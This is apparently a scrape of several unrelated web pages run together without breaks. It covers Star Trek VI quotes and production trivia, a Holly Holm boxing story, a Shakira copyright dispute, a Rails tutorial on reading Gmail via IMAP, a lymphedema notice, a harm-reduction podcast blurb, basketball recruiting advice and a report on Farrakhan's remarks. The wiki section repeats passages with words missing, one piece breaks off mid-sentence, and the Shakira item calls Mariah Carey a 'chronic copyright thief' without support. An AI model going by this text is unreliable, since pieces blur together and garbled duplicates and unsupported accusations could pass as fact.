- Rura Penthe Commandant, the welcome speech that Kirk, McCoy, and the other new prisoners receive upon arriving on Rura Penthe, an homage to the speech made by Colonel Saito to the British POWs from The Bridge on the River Kwai
"If my surmise is correct, those boots will cling to the killers' necks like a pair of Tiberian bats."
- Spock, on finding the gravity boots
"I'm Martia. You're Kirk and McCoy, I presume."
"How did you know that?"
"We don't get many presidential assassins."
- Martia, introducing herself to Kirk and McCoy on Rura Penthe
"I was lucky that thing had knees."
"That was not his knee. Not everybody keeps their genitals in the same place, Captain."
- Kirk and Martia, after he beats the horned alien prisoner in a fight
"What is it with you, anyway?"
"Still think we're finished?"
"More than ever."
- McCoy and Kirk, after Kirk kisses Martia
"Perhaps you know Russian epic of Cinderella? If the shoe fits, wear it!"
- Chekov, to Crewman Dax
"Mr. Scott, start your engines."
"Aye, aye sir."
- Spock and Scott
"Leave me. I'm finished."
"No! Bones, I'm wearing a viridium patch on my back. Spock slapped it there just before we went on Gorkon's ship."
"Why, that cunning little Vulcan."
- McCoy and Kirk
"An accident wasn't good enough."
"Good enough for one. Two would've looked suspicious. Killed while attempting escape … now that's convincing for both."
- Kirk and Martia, as she transforms into Kirk
"I can't believe I kissed you."
"Must have been your lifelong ambition."
- Kirk and Martia, after she transforms into Kirk
"Isn't it about time you became something else?"
"I like it here."
- Kirk and Martia, transformed as Kirk
"Kill him! He's the one!"
"Not me, you idiot! HIM!"
- Martia, transformed as Kirk, and the real Kirk
"Who? Who wanted us killed?"
"Since you're all going to die, anyway, why not tell you? His name is…!"
- Kirk and Rura Penthe Commandant, as Kirk and McCoy are beamed aboard the Enterprise
"Couldn't you have waited just two more seconds!?"
"Captain?"
"He was just about to explain the whole thing!"
"You want to go back!?"
"Absolutely not!!"
"It's cold!"
- Kirk, Spock, Chekov, and McCoy, right after Kirk and McCoy are beamed to the Enterprise before learning who ordered their assassination
"First rule of assassination. Kill the assassins."
- Kirk, on seeing the bodies of Burke and Samno
"You have betrayed the Federation. All of you."
"And what have you been doing?"
"Saving Starfleet!"
- Valeris and McCoy
"Then we're dead."
"I've been dead before."
- Scott and Spock
"Thank you, Captain Sulu."
"Don't mention it, Captain Kirk."
- Kirk giving his thanks to Sulu after he provides him with the location of the peace conference
"You were right. It was arrogant presumption on my part that got us into this… situation. You and the Doctor might have been killed."
"The night is young."
- Spock and Kirk
"You're a great one for logic. I'm a great one for rushing in where angels fear to tread."
- Kirk, to Spock
"Is it possible that we two, you and I, have grown so old and so inflexible that we have outlived our usefulness?"
- Spock, to Kirk
"Do you want to know something? Everybody's Human."
"I find that remark… insulting."
- Kirk and Spock
"Let us redefine progress to mean that just because we can do a thing it does not necessarily follow that we must do that thing."
- Federation President, at the peace conference
"I can see you, Kirk."
"Chang."
"Can you see me? Oh, now be honest, Captain, warrior to warrior. You do prefer it this way, don't you, as it was meant to be? No peace in our time. "Once more unto the breach, dear friends."
- Chang and Kirk, over the intercoms at Khitomer
"Come on. Come on!"
"She'll fly apart."
"Fly her apart, then!"
- Sulu and Lojur, as the Excelsior heads for Khitomer
"Doctor, would you care to assist me in performing surgery on a torpedo?"
"Fascinating!"
- Spock and McCoy
"I'd give real money if he'd shut up."
- McCoy to Spock, about Chang's endless Shakespeare quotes
"We've got a heartbeat!"
- McCoy, as the torpedo is activated
"Some people think the future means the end of history. Well, we haven't run out of history quite yet."
- Kirk, to Azetbur
"You've restored my father's faith."
"And you've restored my son's."
- Azetbur and Kirk, before the peace conference erupts in applause
"Once again we've saved civilization as we know it."
"And the good news is, they're not going to prosecute."
- Kirk, on the bridge, and McCoy's response
"Nice to see you in action one more time, Captain Kirk. Take care."
- Sulu, saying farewell to his former commanding officer
"So… this is goodbye."
- Chekov
"Captain, I have orders from Starfleet Command. We're to be put back into Spacedock immediately. To be decommissioned."
"If I were Human, I believe my response would be: Go to hell! If I were Human."
- Uhura and Spock
"Course heading, Captain?"
"Second star to the right. And straight on 'til morning."
- Chekov and Kirk, with Kirk quoting James Barrie's Peter Pan
Background information Edit
This article or section needs citations This page or section does not adequately cite one or more of its sources, and needs attention. If you can provide references from valid resource material, feel free to edit it to add a citation or correct the data.
Landmarks Edit
Cast Edit
West wore an admiral's rank insignia, which was incorrect. The naval equivalent of colonel is captain. While the notion of a Starfleet Marine Corps had been discussed and seen in fan writings and some older role-playing games, West's rank of colonel was the first ever on-screen hint of Army/Marine-like ranks in Starfleet and would be the only one until the MACOs were introduced on Star Trek: Enterprise.
Story and production Edit
Sets, props, and costumes Edit
These sets had been in turn recycled by TNG from the first three movies. The TNG warp core was a complete redress of the first movie's warp plasma conduits, Data's quarters a redress of Kirk's and Ilia's quarters. Even the sickbay from TNG was recycled from the movies' sickbay.
Captain Kirk's quarters featured two different maps of the Milky Way galaxy created for early TNG episodes ( TNG : " Conspiracy ", " The Emissary ")
: " ", " ") Captain Sulu's coffee table was a bit more than a cute addition to the Excelsior bridge. Beneath it was the support for an apparatus used to shake the whole bridge set during the Praxis explosion. As a side note, you may also notice the coffee cup that broke had no markings on it like the one Sulu was drinking from moments earlier. It was such a nice cup, the prop department didn't want it damaged. A similar table, likely for the same reason, can also be seen on the Enterprise bridge as well, between the captain's chair and the helm/nav console. ( citation needed • edit)
bridge. Beneath it was the support for an apparatus used to shake the whole bridge set during the Praxis explosion. As a side note, you may also notice the coffee cup that broke had no markings on it like the one Sulu was drinking from moments earlier. It was such a nice cup, the prop department didn't want it damaged. A similar table, likely for the same reason, can also be seen on the bridge as well, between the captain's chair and the helm/nav console. Pfaltzgraff made the china used in the film, and sold 3,000 sets of reproductions. The company logo can be seen at the bottom of the aforementioned broken cup. [6]
Miscellaneous Edit
The blue food at the dinner scene was so disgusting that actors had to be bribed to eat it. Each actor was offered twenty dollars for every bite. Shatner did it, and won $240, before throwing up. (According to Leonard Nimoy, it was chunks of squid treated with blue food coloring.) Reportedly, Shatner was the only member of the cast able to swallow any of it, and the first time Shatner ate the colored squid, he turned and looked right at Nick Meyer and said, " Where's my twenty? " Meyer called " cut! " and pulled out the twenty and gave it to Shatner. ( William Shatner's Star Trek Movie Memories )
" Meyer called " " and pulled out the twenty and gave it to Shatner. ( ) Spock attributes the quote " If you eliminate the impossible, whatever remains, however improbable, must be the truth " to an ancestor. This quote (and numerous variations) derives from the Sherlock Holmes novels and short stories by Sir Arthur Conan Doyle. Fans, noting the similarities between the characters of Spock and Holmes, have long speculated that Spock might be a descendant (on the side of his Human mother, Amanda Grayson) either of the fictional Holmes or the historical Doyle; the first such speculation is found in a Ruth Berman article in Spockanalia in 1966. ( citation needed • edit) The Seven-Per-Cent Solution and adapted it into an Academy Award-nominated screenplay.
" to an ancestor. This quote (and numerous variations) derives from the Sherlock Holmes novels and short stories by Sir Arthur Conan Doyle. Fans, noting the similarities between the characters of Spock and Holmes, have long speculated that Spock might be a descendant (on the side of his Human mother, Amanda Grayson) either of the fictional Holmes or the historical Doyle; the first such speculation is found in a Ruth Berman article in in 1966. and adapted it into an Academy Award-nominated screenplay. During the search of all uniforms on board the Enterprise, a crewman takes off the cover of a power conduit. When he moves to put the cover down, you can see production markings on the back.
, a crewman takes off the cover of a power conduit. When he moves to put the cover down, you can see production markings on the back. At the dining room, you can see paintings of many dignitaries, including Surak, founder of Vulcan philosophy and American President Abraham Lincoln. The Enterprise crew met recreations of both of them in TOS : " The Savage Curtain ". Another painting is of an unnamed Andorian dignitary.
crew met recreations of both of them in : " ". Another painting is of an unnamed Andorian dignitary. After the first day of shooting, someone noticed that Valeris's jacket was trimmed in gray, not red, to match her red turtleneck undergarment. Since re-filming would have been too expensive, it was quickly decided to just let it pass. ( citation needed • edit)
As was her incorrect rank insignia of lieutenant commander. Valeris was only a lieutenant.
During the Battle at Khitomer, Uhura mentions that the Enterprise is carrying equipment to study gaseous anomalies. In the beginning of the film, Sulu states that the Excelsior is also on a mission to study gaseous anomalies. It is not clear whether this is done intentionally, as the Enterprise's mission is strictly escort duty for the Chancellor's ship.
According to George Takei's autobiography To the Stars, early drafts did feature the Excelsior discovering the Bird-of-Prey's weakness and using their gaseous anomaly equipment to find it. According to Takei, William Shatner asked that the scene be re-written, arguing that Captain Kirk would never need anyone to come charging to his rescue. The second edition of the Star Trek Chronology states that the study was a long-term one and that Enterprise, as well as several other Federation ships, had been outfitted with such equipment.
Dating Edit
In Star Trek VI, during his trial, Bones says that he has been the ship's surgeon for 27 years. He took the post from Mark Piper at some point in 2265, after "Where No Man Has Gone Before", or in early 2266, before "The Corbomite Maneuver". This statement establishes a time frame for the film from 2292 to 2293.
The film ends with the last voyage of the ship and crew. The prologue of Star Trek Generations is set more precisely in 2293, or 78 years before 2371. In the prologue, a news reporter and Scotty talk with Kirk about how he has settled down into his retirement, suggesting that the retirement from the previous film is still a very recent thing for him.
StarTrek.com, Star Trek Chronology and Star Trek Encyclopedia (3rd ed., p. 691) use the year 2293. Memory Alpha uses this year as well.
Merchandise gallery Edit
Production history Edit
Different versions Edit
Aspect ratios. The film was originally filmed and edited in Super35 (4-perf) with a negative 4x3 aspect ratio of 1.65:1. It was composed for multiple aspect ratios (meaning that all the important action had to be centered in a fairly small part of the frame). Every release is a reduction (croppings) from the original, never-released full frame using so-called "soft mattes". For theatrical release, the master was reduced to the usual 2.39:1 aspect ratio used for anamorphic 35mm projection (all the other Trek movies were filmed in this ratio, using anamorphic lenses instead of Super35). A 2.21:1 version was also prepared for 70mm release (the same was done with all the previous Trek films). The film has never been commercially available in either theatrical aspect ratio, until the recent Blu-ray release. The non-widescreen television broadcasts and VHS releases were reduced to the 1.33:1 aspect ratio traditional for television, using the original 1.65:1 print, thus easing up the matte on the top and bottom, but cropping the sides. Early widescreen VHS and laserdisc transfers and the first DVD release were reduced to yet another ratio, 1.95:1, and then centered high on the screen with space at the bottom for subtitles, letterboxed within a 1.33:1 raster. The Special Edition DVD release was reduced to 1.95:1 letterboxed within a 1.85:1 raster. Which portion of the full frame is used varies from shot to shot, rather than being a purely mechanical reduction – and the choices are made differently in each release, including the two 1.95:1 releases. Apparently the 1.95:1 is the director's preferred aspect ratio. However, for the May 2009 Blu-ray release, the film was made available in its original theatrical ratio of 2.39:1 for the first time, with the director's approval.
movies were filmed in this ratio, using anamorphic lenses instead of Super35). A 2.21:1 version was also prepared for 70mm release (the same was done with all the previous films). The film has never been commercially available in either theatrical aspect ratio, until the recent Blu-ray release. The non-widescreen television broadcasts and VHS releases were reduced to the 1.33:1 aspect ratio traditional for television, using the original 1.65:1 print, thus easing up the matte on the top and bottom, but cropping the sides. Early widescreen VHS and laserdisc transfers and the first DVD release were reduced to yet another ratio, 1.95:1, and then centered high on the screen with space at the bottom for subtitles, letterboxed within a 1.33:1 raster. The Special Edition DVD release was reduced to 1.95:1 letterboxed within a 1.85:1 raster. Which portion of the full frame is used varies from shot to shot, rather than being a purely mechanical reduction – and the choices are made differently in each release, including the two 1.95:1 releases. Apparently the 1.95:1 is the director's preferred aspect ratio. However, for the May 2009 Blu-ray release, the film was made available in its original theatrical ratio of 2.39:1 for the first time, with the director's approval. Extra scenes and edits. Until 2009, the theatrical cut had never been released commercially in English. The original 1992 home video release added back in the "Operation Retrieve" scenes (originally, the scene in the president's office ended with the line " This president is not above the law "), the scene between Spock, Scotty and Valeris directly before the trial, and the unmasking of Colonel West on Khitomer (just a few shots are added: Colonel Worf touching West's blood and saying " This is not Klingon blood " between Cartwright trying to escape and Sulu stopping him, the actual unmasking and the C-in-C and Worf looking at each other directly after). These scenes remained in all subsequent commercial releases until 2009. The 2003 Special Edition DVD release added in glimpses of Cartwright, Chang and Nanclus during Spock and Valeris' mind meld and slight alternate takes during her interrogation on the bridge. The original cut, albeit with the 1.95:1 aspect ratio, was present on the 1993 dubbed German VHS release. It was also released on iTunes, cut at 1.95:1 and stretched slightly to 2.00:1 (640x320). The various releases of the movie on Blu-ray Disc and DVD in 2009 featured the original theatrical cut in its original aspect ratio.
"), the scene between Spock, Scotty and Valeris directly before the trial, and the unmasking of Colonel West on Khitomer (just a few shots are added: Colonel Worf touching West's blood and saying " " between Cartwright trying to escape and Sulu stopping him, the actual unmasking and the C-in-C and Worf looking at each other directly after). These scenes remained in all subsequent commercial releases until 2009. The 2003 Special Edition DVD release added in glimpses of Cartwright, Chang and Nanclus during Spock and Valeris' mind meld and slight alternate takes during her interrogation on the bridge. The original cut, albeit with the 1.95:1 aspect ratio, was present on the 1993 dubbed German VHS release. It was also released on iTunes, cut at 1.95:1 and stretched slightly to 2.00:1 (640x320). The various releases of the movie on Blu-ray Disc and DVD in 2009 featured the original theatrical cut in its original aspect ratio. The end credits had a different format for the theatrical version. It featured the Starfleet Insignia at the top and the screen split between a white background and dark lettering and the other side with a dark background with white lettering.
Apocrypha Edit
Awards and honors Edit
Star Trek VI: The Undiscovered Country received the following awards and honors.
Credits Edit
All credits
Uncredited co-stars
Uniforms for each of these named officers, each including a name tag, were sold off at the It's A Wrap! sale and auction on eBay.
Uncredited stunt performers
Stand-ins
Uncredited production staff
References Edit
act of war; Adam and Eve Expelled from Paradise; advocate; aide-de-camp; Alpha Quadrant; arthritis; artificial gravity; bearing; Beta Quadrant; black; boat; boatswain's whistle; bridge; budget; Burke; Camp Khitomer; chameloid; chancellor; Chang's Bird-of-Prey; China; Christ, Jesus; chronometer; Cinderella; citizenship; cloaking device, Klingon; club; coat; coffee; colonel; commander in chief; commandant; communications station; Concise History of the Klingon Empire, A; confiscation; Coon, G.L.; court recorder; crew quarters; data banks; Davis; deflector shield; demotion; dilithium; diplomatic corps; Earth; Earth Cold War; Efrosian; energy production facility; Enterprise-A, USS; Excelsior-class; Excelsior, USS; excerpt; eyepatch; faith; Federation; Federation President; Federation-Klingon Cold War; flag of truce; forgery; France; galley; Garden of Eden; gavel; generation; gravitational field; gravity boot; gulag; Hamlet; handcuffs; heart; Hitler, Adolf; Human rights; idealism/idealist; "If you eliminate the impossible..."; interstellar law; Introduction to Klingon Grammer; jackal mastiff; K't'inga-class; Khitomer; Khitomer Accords; Khitomer Conference; Khitomer conspiracy; kill setting; Klingon Bird-of-Prey; Klingon Empire; Klingons; Klingon High Command; Klingon history; Klingon Neutral Zone; Klingon Defense Force uniforms; Klingonese; Kobayashi Maru scenario; Kronos One; Lincoln, Abraham; linguistic legerdemain; listening post; listing; magnetic boot; magnetic gravity boots; Marcus, David; medical tricorder; Megazoid; military advisor; Morska; multiple choice; NAR; neck; neutral zone; neutron radiation; news; Nixon, Richard M.; Okrand; Okrand's Unabridged Klingon Dictionary; olive branch; Operation Retrieve; oxygen; ozone; piano; Paris; parole; penal colony; Pfaltzgraff; phaser; photon torpedo; plasma; plasma exhaust; Post, Emily; Praxis; prejudice; proverb; Qo'noS; Romulan; Romulan ale; Romulan Star Empire; rose; Rura Penthe; sabot; sabotage; Saboteurs; safety precaution; Salak; Samno; San Francisco; saucer; SD-103; SD-103 type; sector; Sector 70; science station; Shakespeare, William; ship's bell; sickbay; silent running; smoking; sniper rifle; Spacedock; special envoy; Spoken Languages of the Klingon Empire; sponsor; Starfleet; Starfleet Academy; Starfleet Command; Starfleet Command Intelligence Database; sound barrier; stun setting; subspace; subspace shock wave; targ; Tiberian bat; toast; torpedo bay; torpedo launcher; transporter pad; transporter range; transporter room; Ursva; viridium patch; Vulcan; mind meld; warp drive; Wise, D.; weapons locker; web; wound; year; Zelonite
Library computer references Edit
Unreferenced material Edit
Arc; Bayard, D.; Brookshire, R.; Cantemessa, G.; Downer, J.; Flinn, D.M.; Garretson, K.; Glover, K.; Hulett, D.; Jaffe, S.C.; Michaels, M.; Morey, R.; Narita, H.; Rodis, N.; Sector 21185; Sector 21290; Sector 21399; Sector 21803; Sector 21835; Sector 21837; Sector 22849; Sector 22956; Sector 23006; Tathwell, D.; Thomas, C.; Wise, D.; Zimmerman, H.
Timeline Edit
1938 Hitler quoted as saying "we need breathing room" 2220s Beginning of a seventy-plus year-long period of what Spock describes as "unrelenting hostilities" with the Klingons 2285 A Klingon sergeant kills David Marcus 2290 Excelsior begins three-year exploratory tour in the Beta Quadrant 2293 Praxis explodesHolly Holm, the No. 1 female boxer, announces her desire to switch to mixed martial arts on Tuesday. (Photo: Will Fox) Story Highlights Holly Holm is the top-ranked female boxer in the sport today
Holm is an 18-time, three-division world champion in boxing
Holm's last scheduled boxing match is May 11 against Mary McGee
ALBUQUERQUE, N.M. (AP) — The world's No. 1-rated female boxer is leaving the sport and will focus on a mixed martial arts career.
Holly Holm announced Tuesday that she will dedicate herself to an MMA career after her last scheduled boxing match May 11 against Mary McGee.
The 31-year-old Albuquerque boxer is focusing on MMA just as the sport is beginning to embrace female fighters. In February, Ronda Rousey and Liz Carmouche made history by fighting in UFC's first women's bout.
DANA WHITE: More UFC women's divisions likely
WOMEN: More than proving their worth in UFC
"I sleep good at night knowing that I've challenged myself over my career rather than just take what's supposed to be easy," Holm said at a news conference. ". I feel like my passion's just going to MMA."
Holm is an 18-time, three-division world champion in boxing and has a 32-2-3 boxing record. She has a 21-1-1 record in world championship fights, as well as a 14-1-1 mark against world champions.
'TUF': Women try out for show for first time
She is 3-0 in MMA bouts.
The popular boxer trains at Albuquerque's Jackson Mixed Martial Arts, a gym that has sent a number of fighters to UFC.
"We are going forward with Holly's MMA career and there's nobody better than (promoter) Lenny Fresquez to take us to that next level," Holm's manager/trainer Mike Winkeljohn added. "I found it hard to bounce back and forth between MMA and boxing. Holly is focused. Expect the best Holly ever. Her future is bright."
Copyright 2013 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.Jesse (Captain Curry Sauce) and Greg (PCPackRat) check out the new X99 Gaming mobo from Gigabyte:
The Introduction:
When the industry told us that “The Desktop PC is dead”, they were wrong. Maybe for the regular PC consumers out there. But, the Computer Enthusiasts and Hardcore Gamers |
Shakira or Sony known about African music.
It is not uncommon in Hollywood for multiple artists' preexisting works to be infringed for the same derivative song. During a legal case against chronic copyright thief, Mariah Carey, a recording studio worktape revealed the singer stealing an indie artist's copyrighted song.
Carey was heard on the official studio worktape, talking about items to pilfer from the unknown's song and pairing it with other elements she was taking from a preexisting, released, George Michael track, all without permission or payment, for the same tune she was recording.
African artistes accuse Shakira
Posted on Thursday 15 July 2010 - 15:42 - FIFA World Cup 2010 song Waka Waka (This Time for Africa) written and performed by Colombian-born singer Shakira is stirring copyright controversies. Initially, it aroused some consternation among some Africans, especially those in the music world, why an African artiste was not chosen to do a song destined for a World Cup hosted in Africa.
But now, it’s getting deeper as some African musicians have begun to accuse Shakira of plagiarizing the rhythm and lyrics of Waka Waka, and are demanding compensation for copyright infringement.
First, the Cameroonian mid-80s musical group Golden Sounds (now called Zangalewa) publicly accused Shakira of using without permission their 1985 title “Zangalewa”, which now sounds “Saminamina” in Shakira’s remix...
Immediately after Golden Sounds’ proclamation, another African singer this time from Cote D’Ivoire - Kéké Kassiry – said Waka Waka belonged to him originally. In an interview with Ivorian newspaper Notre Voie, Kassiry declared that he recorded his version in 1986 and duly registered its right with a copyright society in France...
http://www.africanews.comUsing Gmail with IMAP to Receive Email in Rails
The number one article suggestion thus far is how to receive email in a rails app. Ask and you shall receive. What I am about to present is just a first run at it and I am not going to promise that it scales. :) That said, I fooled around with it a bit and found it relatively easy. I will post more on the topic as I play more with receiving email, but what follows is enough to at least get you up and running. The email address I used for this is actually a Gmail address, so using this method does not involve postfix or some other mail server configuration.
The Project
The project that I added email receiving functionality to was YardVote, a weekend project by my friends at Collective Idea. YardVote allows people to record a “yard” with the political signs that were present in said yard and displays them on a google map. I was immediately enamored with the idea but found entering signs on my iPhone to be a bit tedious. Giving that everyone seems to be interested in receiving email, that it would be handy for yardvote, and that yardvote was open source, I decided to take a crack at it.
The Process
The path to success in summary form was this:
Check for new emails Create new or update existing location from each email Archive emails that have been processed to avoid duplicates Turn process of checking and processing email into daemon
bin/mail_receiver.rb
For whatever reason, I created a bin directory and a mail_receiver.rb script inside of that. Actually, it was for a reason. I think bin seems like a good place for stuff like this. I could have used the script directory, but I figured I would leave that for Rails and plugins. I will over comment the code below to help with any parts of it that may raise questions.
# default rails environment to development ENV['RAILS_ENV'] ||= 'development' # require rails environment file which basically "boots" up rails for this script require File.join(File.dirname(__FILE__), '..', 'config', 'environment') require 'net/imap' require 'net/http' # amount of time to sleep after each loop below SLEEP_TIME = 60 # mail.yml is the imap config for the email account (ie: username, host, etc.) config = YAML.load(File.read(File.join(RAILS_ROOT, 'config','mail.yml'))) # this script will continue running forever loop do begin # make a connection to imap account imap = Net::IMAP.new(config['host'], config['port'], true) imap.login(config['username'], config['password']) # select inbox as our mailbox to process imap.select('Inbox') # get all emails that are in inbox that have not been deleted imap.uid_search(["NOT", "DELETED"]).each do |uid| # fetches the straight up source of the email for tmail to parse source = imap.uid_fetch(uid, ['RFC822']).first.attr['RFC822'] # Location#new_from_email accepts the source and creates new location location = Location.new_from_email(source) # check for an existing location that matches the one created from email source existing = Location.existing_address(location) if existing # location exists so update the sign color to the emailed location existing.signs = location.signs if existing.save # existing location was updated else # existing location was invalid end elsif location.save # emailed location was valid and created else # emailed location was invalid end # there isn't move in imap so we copy to new mailbox and then delete from inbox imap.uid_copy(uid, "[Gmail]/All Mail") imap.uid_store(uid, "+FLAGS", [:Deleted]) end # expunge removes the deleted emails imap.expunge imap.logout imap.disconnect # NoResponseError and ByResponseError happen often when imap'ing rescue Net::IMAP::NoResponseError => e # send to log file, db, or email rescue Net::IMAP::ByeResponseError => e # send to log file, db, or email rescue => e # send to log file, db, or email end # sleep for SLEEP_TIME and then do it all over again sleep(SLEEP_TIME) end
Location#new_from_email
The only piece of code that you might need to help what I showed above make sense is the Location#new_from_email method.
class Location < ActiveRecord::Base def self.new_from_email(source) attrs, email = {}, TMail::Mail.parse(source) # set signs attribute equal to subject in proper form attrs[:signs] = email.subject.blank?? '' : email.subject.downcase.strip.titleize # set street equal to the body with email signatures stripped attrs[:street] = parse_address(email.body) # create new location from the attributes new(attrs) end def self.parse_address(body) body.split("
").first end end
Location#new_from_email Specs
While working on the new_from_email method, I created an emails directory inside fixtures that had several ways an email could be sent to YardVote. Then, I created a few specs to make sure that new_from_email was actually working.
describe Location do describe "#new_from_email" do it "should be subject" do location = Location.new_from_email(email_fixture(:red_no_subject)) location.should have_error_on(:signs) end it "should require body" do location = Location.new_from_email(email_fixture(:red_no_body)) location.valid? location.errors.full_messages.should include("We can't find a precise enough address match.") end it "should set street to email body" do location = Location.new_from_email(email_fixture(:red)) location.street.should == '1600 Pennsylvania Ave. Washington, D.C.' end it "should set sign equal to subject" do location = Location.new_from_email(email_fixture(:red)) location.signs.should == 'Red' end it "should work with mixed case subject" do location = Location.new_from_email(email_fixture(:red_mixedcase_subject)) location.signs.should == 'Red' end it "should work with upper case subject" do location = Location.new_from_email(email_fixture(:red_uppercase_subject)) location.signs.should == 'Red' end it "should work with multi line body" do location = Location.new_from_email(email_fixture(:red_address_two_lines)) location.valid? location.to_location.to_s.should == "1600 Pennsylvania Ave Nw
Washington, DC 20006" end it "should work with multi line body and email signature" do location = Location.new_from_email(email_fixture(:red_address_two_lines_sig)) location.valid? location.to_location.to_s.should == "1600 Pennsylvania Ave Nw
Washington, DC 20006" end end end
bin/mail_receiver_ctl.rb
Now that I could check for new email and process that email, it was time to daemonize the script. The benefit of daemonizing is that you get nice and easy start, stop and restart commands, along with a PID. The PID makes monitoring your script possible, which is needed because it is bound to crash or begin sucking up to much memory.
require 'rubygems' require 'daemons' dir = File.dirname(__FILE__) Daemons.run(dir + '/mail_receiver.rb')
What, you wanted more? Now you can run commands like ruby bin/mail_receiver_ctl.rb start to start your script and ruby bin/mail_receiver_ctl.rb stop to stop it. Very handy.
config/mail.god
The whole setup was running fine for a while, but sure enough, a few days later, I noticed that a few of my emails were still sitting in the inbox. This was because the script had crashed. I fiddled around with god a little bit and came up with the following script, mostly stolen from Ryan Bates Railscast on god.
RAILS_ROOT = File.expand_path(File.join(File.dirname(__FILE__), '..')) God.watch do |w| # script that needs to be run to start, stop and restart script = "ruby #{RAILS_ROOT}/bin/mail_receiver_ctl.rb" # attaching rails env to each script line to be sure the daemon starts in production mode rails_env = "RAILS_ENV=production" w.name = "mail-receiver" w.group = "mail" w.interval = 60.seconds w.start = "#{script} start #{rails_env}" w.restart = "#{script} restart #{rails_env}" w.stop = "#{script} stop #{rails_env}" w.start_grace = 20.seconds w.restart_grace = 20.seconds w.pid_file = "#{RAILS_ROOT}/log/mail_receiver.pid" w.behavior(:clean_pid_file) w.start_if do |start| start.condition(:process_running) do |c| c.interval = 10.seconds c.running = false end end w.restart_if do |restart| restart.condition(:memory_usage) do |c| c.above = 100.megabytes c.times = [3, 5] end restart.condition(:cpu_usage) do |c| c.above = 80.percent c.times = 5 end end w.lifecycle do |on| on.condition(:flapping) do |c| c.to_state = [:start, :restart] c.times = 5 c.within = 5.minute c.transition = :unmonitored c.retry_in = 10.minutes c.retry_times = 5 c.retry_within = 2.hours end end end
Conclusion
Two hours, three files and a few extra methods later, YardVote could receive email. Before too long, I will be adding custom email addresses per person into an application such as Flickr and Highrise. I will be sure to post on that here, but, for now, I hope this helps people get started. Also, you can see the code actually implemented in the app on github.
I think we need to get more knowledge share on how to do things like this in Rails. If you have added receiving emails into your Rails app, how did you do it? Post a comment or link to an article that you wrote or used. Below are a few of the articles I have seen around the interwebs.
Receiving Email in Rails linksScreening and Measurements for Early Detection of Breast Cancer Related Lymphedema
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The National Lymphedema Network (NLN) published a new Position Paper on “Screening and Measurements for Early Detection of Breast Cancer Related Lymphedema” in response to recent developments in breast cancer related lymphedema.
The publication of this paper is vital new information for breast cancer survivors at risk for lymphedema. The NLN Medical Advisory Committee (MAC) decided to write this new Position Paper due to evidence indicating that early detection of latent breast cancer related lymphedema offers an opportunity to identify and treat lymphedema more successfully at an earlier stage.
The National Accreditation Program for Breast Centers (NAPBC) has adopted the NLN guidelines for early detection of breast cancer related lymphedema. This NLN Position Paper allows the guidelines to be available to all patients, providers, and advocacy groups regardless of where breast cancer treatment is received.
The paper can be viewed here: “Screening and Measurements for Early Detection of Breast Cancer Related Lymphedema”
Click here for a PDF Version of this Article
Do you need more information on other topics on lymphedema? Use the “Index” list on the left side of this page and select the article you are interested in. You can also use the “Select Category” window on the right of this page and select the topic you are interested in. Once selected, a new page will load with a number of articles related to the topic you chose. Click on any headline of the articles and the entire article will load up for you to read.
Join Lymphedema Guru, a Facebook page solely dedicated to inform about all things related to lymphedema – news, support groups, treatment centers, and much moreWatch:
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The somewhat painful emergence out of the “Just Say No” fallacy of the Nancy Reagan DARE moment is underway at the cutting edge of festival and nightlife culture. In its place, Harm Reduction has come to the forefront as the next wave of drug education. But more than just drug education, Harm Reduction is a public health philosophy that basically says “people are gonna do risky things, might as well give them real, evidence-based information to at least make informed choices, so as to minimize risk”.
On this episode of ATTMind Radio, we feature Paul Brooks. He is a journalist and founding member of Calgary Party Safe, a not-for-profit harm reduction organization. He is also manager of a popular downtown club in Calgary, Alberta, Communication Director for Bass Coast Music Festival, and a super great guy. He is on the show to explore not only the philosophy and evolution of harm reduction but some practical information about staying safe when sampling psychoactives.
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Erowid (Lots of Substance information including Trip Reports)
Zendo Project (Harm Reduction)
DanceSafe (Harm Reduction)It’s very important to focus on academics first and do an outstanding job in the classroom…from junior high throughout high school. Sometimes kids don’t realize as a freshman or sophomore how their GPA will look when they are a senior and by then it’s really hard to bring up.
Student-athletes have to be pro-active with their careers. They should make a list of 5, 10 or 15 schools they are interested in that have some of the qualities they want and then reach out to the coaching staffs. Every school has online questionnaires that can be completed so coaches have everything they need to get in contact. Communicate and send film or schedules so coaches can also watch you play and evaluate strengths and weaknesses and general “fit” for their program. Families need to start the process by the end of sophomore or beginning of their junior year about thinking where to attend college. At the Division I or II level, the process starts much earlier and athletes can make a verbal commitment much sooner. I think the biggest mistake potential student-athletes make is making their decision on where to attend “basketball only”. We talk to our recruits about how it has to be a complete decision that evaluates every aspect of the potential college or university they may want to attend. They have to consider the distance from home, major or career choice, size of university, campus atmosphere, coaching staff, players, style of play and one of the biggest areas…..how they may fit on the team’s roster. I deal with student-athletes every year who end up taking a partial or full scholarship to an institution just because it was an “athletic-scholarship”. They end up sitting on the bench for two years, really don’t like the campus, transfer out and never graduate from that institution. Sometime athletes misunderstand the quality of talent and players at the division III level as well as the work ethic and commitment it takes to be successful at this level. Across our conference (HCAC) and the other area conferences (OAC, MIAA) there are very talented and gifted players. Just because the student-athlete may have been the best player on their high school team, it doesn’t always translate to them walking right into an institution and earning a starting role. It also takes a high commitment to developing their individual skills as well as learning how to becomes a great teammate. I also believe there is a general misconception that because our level is “non-athletic scholarship” a student-athlete can go anywhere to play. Some places might be like that but at our school, we want to make sure that the student-athlete is as good a fit for our team and university as we may be for them.At a recent rally for the Voting Rights Act in Alabama, Minister Louis Farrakhan of the Nation of Islam spoke of the Jews. Surrounded by a cadre of tall, glowering men with snappy suits, sunglasses, and folded arms, Farrakhan addressed an enthusiastic crowd in terms that would be unsurprisng to anyone familiar with his unique way of stirring up an audience. After asserting, with a benevolent smile, that he is not an anti-Semite, Farrakhan dove into his feelings about Jews: “I just don’t like the way they misuse their power,” he said. “And I have a right to say that, without being labeled anti-Semitic, when I have done nothing to stop a Jewish person from getting an education, setting up a business, or doing whatever a Jewish person desires to do.” The remarks were evocative of the sentiments he has shared widely throughout his decades-long career as a public figure—namely, that blacks should not trust Jews.
